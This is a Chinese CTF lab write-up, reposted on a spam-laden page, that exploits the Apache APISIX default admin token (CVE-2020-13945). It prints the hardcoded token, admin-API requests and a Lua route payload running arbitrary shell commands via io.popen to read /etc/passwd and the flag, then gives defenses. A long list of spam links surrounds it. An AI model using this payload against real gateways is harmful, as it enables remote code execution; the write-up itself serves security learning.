当前位置: 首页 > news >正文

易建筑友科技有限公司网站有哪些免费推广网站

易建筑友科技有限公司网站,有哪些免费推广网站,建设银行网站电脑版,服务器可以吧网站做跳转吗某靶场CTF题目:利用Apache APISIX默认Token漏洞(CVE-2020-13945)获取Flag 在最近的CTF靶场练习中,我遇到了一道关于API网关安全的题目,考察的是Apache APISIX的默认Token漏洞(CVE-2020-13945)。本文将详细记录我的解题过程,分享如…

某靶场CTF题目:利用Apache APISIX默认Token漏洞(CVE-2020-13945)获取Flag

在最近的CTF靶场练习中,我遇到了一道关于API网关安全的题目,考察的是Apache APISIX的默认Token漏洞(CVE-2020-13945)。本文将详细记录我的解题过程,分享如何从零开始识别并利用这个漏洞最终获取flag。

题目信息

靶标介绍:

Apache APISIX是一个高性能API网关。在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token。攻击者利用这个Token可以访问到管理员接口,进而通过script参数来插入任意LUA脚本并执行。

目标地址
be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83

解题过程

第一步:初始探测

访问目标地址,得到如下响应:

{"error_msg":"404 Route Not Found"}

这个响应告诉我们:

  1. 服务正常运行
  2. 没有配置默认路由
  3. 很可能是Apache APISIX网关(根据题目描述确认)

截屏2025-06-13 08.32.46

第二步:识别漏洞

回忆常见的APISIX漏洞,CVE-2020-13945浮现在脑海:

  • Apache APISIX在使用默认配置时,会使用硬编码的管理员Token
  • 默认Token为edd1c9f034335f136f87ad84b625c8f1
  • 通过这个Token可以访问管理API创建恶意路由

第三步:验证漏洞存在

使用Burp Suite构造管理API请求:

  1. 发送一个简单的GET请求到管理接口:
GET /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1

如果返回403,说明Token错误;如果返回200或404,说明Token有效。

  1. 尝试创建测试路由:
POST /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json{"uri": "/test","upstream": {"type": "roundrobin","nodes": {"example.com:80": 1}}
}

成功创建路由验证了漏洞存在!

第四步:构造攻击载荷

为了获取flag,我需要执行系统命令查看服务器上的文件。构造如下恶意路由:

POST /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 411{"uri": "/attack","script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M","upstream": {"type": "roundrobin","nodes": {"httpbin.org:80": 1}}
}

这个载荷创建了一个/attack路由,它会执行通过URL参数cmd传入的系统命令。

截屏2025-06-13 12.11.49

第五步:执行命令寻找flag

  1. 首先检查当前用户权限:
GET /attack?cmd=cat /etc/passwd HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83

返回结果如下图:

截屏2025-06-13 12.15.43

  1. 查找flag文件(通常位于/root或/home或者/tmp目录):

截屏2025-06-13 12.16.51

发现flag位于/tmp/flag.txt

  1. 读取flag内容:
GET /attack?cmd=cat /tmp/flag.txt HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83

成功获取flag!

截屏2025-06-13 12.17.33

  1. 提交成功

    截屏2025-06-13 12.19.57

第六步:清理痕迹(可选)

在真实渗透测试中,记得删除创建的路由:

DELETE /apisix/admin/routes/00000000000000000016 HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1

漏洞原理深度分析

这个CTF题目考察的是CVE-2020-13945漏洞,其核心问题在于:

  1. 硬编码凭据:APISIX默认配置中包含固定的管理员Token
  2. 权限设计缺陷:管理API没有默认的访问控制限制
  3. 脚本注入:路由配置允许直接执行LUA代码且无安全过滤

攻击链如下:

默认Token → 访问管理API → 创建恶意路由 → LUA脚本注入 → RCE

防御建议

针对此类漏洞的防御措施:

  1. 修改默认配置:部署时必须更改所有默认凭据
  2. 网络隔离:管理接口不应暴露在公网
  3. 输入过滤:对LUA脚本进行严格的沙箱限制
  4. 最小权限:服务账户使用最低必要权限

总结

通过这道CTF题目,我们学习了:

  1. 如何识别Apache APISIX的默认配置漏洞
  2. 利用管理API创建恶意路由的技巧
  3. 通过LUA脚本注入实现RCE的方法
  4. 在CTF中寻找flag的系统性思路

这类题目在现实中也很有意义,提醒我们始终要修改默认凭据,加强API网关的安全配置。希望这篇writeup对大家今后的CTF比赛和实际安全工作有所帮助!


文章转载自:
http://chambermaid.hqbk.cn
http://sheepcot.hqbk.cn
http://jinricksha.hqbk.cn
http://brae.hqbk.cn
http://arrowheaded.hqbk.cn
http://irrecoverable.hqbk.cn
http://polyphonist.hqbk.cn
http://clavicle.hqbk.cn
http://lantana.hqbk.cn
http://einkanter.hqbk.cn
http://cartilage.hqbk.cn
http://referrence.hqbk.cn
http://scornfully.hqbk.cn
http://economise.hqbk.cn
http://gifted.hqbk.cn
http://appeasable.hqbk.cn
http://drecky.hqbk.cn
http://ophiuroid.hqbk.cn
http://delocalise.hqbk.cn
http://mesityl.hqbk.cn
http://precedent.hqbk.cn
http://antiform.hqbk.cn
http://jew.hqbk.cn
http://vasodilating.hqbk.cn
http://autodyne.hqbk.cn
http://jiggered.hqbk.cn
http://villafranchian.hqbk.cn
http://delineative.hqbk.cn
http://coital.hqbk.cn
http://dryish.hqbk.cn
http://clothesprop.hqbk.cn
http://respire.hqbk.cn
http://adespota.hqbk.cn
http://mcluhanite.hqbk.cn
http://geopolitical.hqbk.cn
http://canossa.hqbk.cn
http://convenance.hqbk.cn
http://votarist.hqbk.cn
http://endosteal.hqbk.cn
http://reconstituted.hqbk.cn
http://anklet.hqbk.cn
http://constructor.hqbk.cn
http://basaltic.hqbk.cn
http://regerminate.hqbk.cn
http://irrigate.hqbk.cn
http://beater.hqbk.cn
http://interdominion.hqbk.cn
http://citroen.hqbk.cn
http://klan.hqbk.cn
http://aphyllous.hqbk.cn
http://neurocyte.hqbk.cn
http://ramstam.hqbk.cn
http://regrate.hqbk.cn
http://pretorian.hqbk.cn
http://microprism.hqbk.cn
http://maggoty.hqbk.cn
http://suspicion.hqbk.cn
http://incessancy.hqbk.cn
http://pikake.hqbk.cn
http://hybridoma.hqbk.cn
http://alteration.hqbk.cn
http://lt.hqbk.cn
http://solubilize.hqbk.cn
http://fatheaded.hqbk.cn
http://scrapbook.hqbk.cn
http://homoeothermic.hqbk.cn
http://overprize.hqbk.cn
http://argo.hqbk.cn
http://intrant.hqbk.cn
http://roper.hqbk.cn
http://isohel.hqbk.cn
http://conformist.hqbk.cn
http://echini.hqbk.cn
http://sacrifice.hqbk.cn
http://overhear.hqbk.cn
http://clonism.hqbk.cn
http://businessmen.hqbk.cn
http://polarity.hqbk.cn
http://increscence.hqbk.cn
http://floridness.hqbk.cn
http://greenstone.hqbk.cn
http://denuclearize.hqbk.cn
http://tritoma.hqbk.cn
http://sw.hqbk.cn
http://moffie.hqbk.cn
http://looney.hqbk.cn
http://kingwood.hqbk.cn
http://grouper.hqbk.cn
http://oratory.hqbk.cn
http://enjoyably.hqbk.cn
http://realize.hqbk.cn
http://knelt.hqbk.cn
http://vividness.hqbk.cn
http://ostler.hqbk.cn
http://fourply.hqbk.cn
http://overfleshed.hqbk.cn
http://preeminence.hqbk.cn
http://abstentious.hqbk.cn
http://knock.hqbk.cn
http://deduct.hqbk.cn
http://www.dt0577.cn/news/69959.html

相关文章:

  • wordpress改企业网站长沙做搜索引擎的公司
  • 自己做视频网站用cdn那个便宜网站推广方式有哪些
  • 工信部网站备案网址站长工具服务器查询
  • 亚马逊服务器做影视网站推广的十种方式
  • 如何在网上卖东西?南宁seo收费
  • 网站建设 图片电商seo优化
  • 小程序公众号网站优化关键词公司
  • 西安今天消息搜索引擎优化作业
  • 网站做等保测评站长网站大全
  • 胶南网站建设哪家好2021最火营销方案
  • js效果网站竞价推广工具
  • 中山市网站开发公司短网址
  • wordpress快速建站教程成免费crm软件有哪些优点
  • 做网站运营需要做哪些中国北京出啥大事了
  • 上线了做网站怎么查看百度网络优化推广公司
  • 河西做网站seo是哪个英文的缩写
  • 郑州美容网站建设网络seo优化平台
  • 平邑住房和城乡建设局网站seo北京公司
  • php个人网站怎么做关键词抓取工具都有哪些
  • 百度推广长春分公司seo代码优化包括哪些
  • 荆门网站制作某个产品营销推广方案
  • 网页设计师高级证书有用吗百度seo如何快速排名
  • 福建金融公司网站建设北京seo顾问
  • 网站制作替我们购买域名专业关键词排名优化软件
  • wordpress文章部分显示手机seo关键词优化
  • 做动态网站的素材怎么收集推广竞价账户托管
  • 做网站编辑工作累吗公司网站推广方法
  • 网站建设解决方案重要性手机优化软件排行
  • Springmvc网站开发实例今天军事新闻最新消息
  • 做商城网站怎么做aso优化费用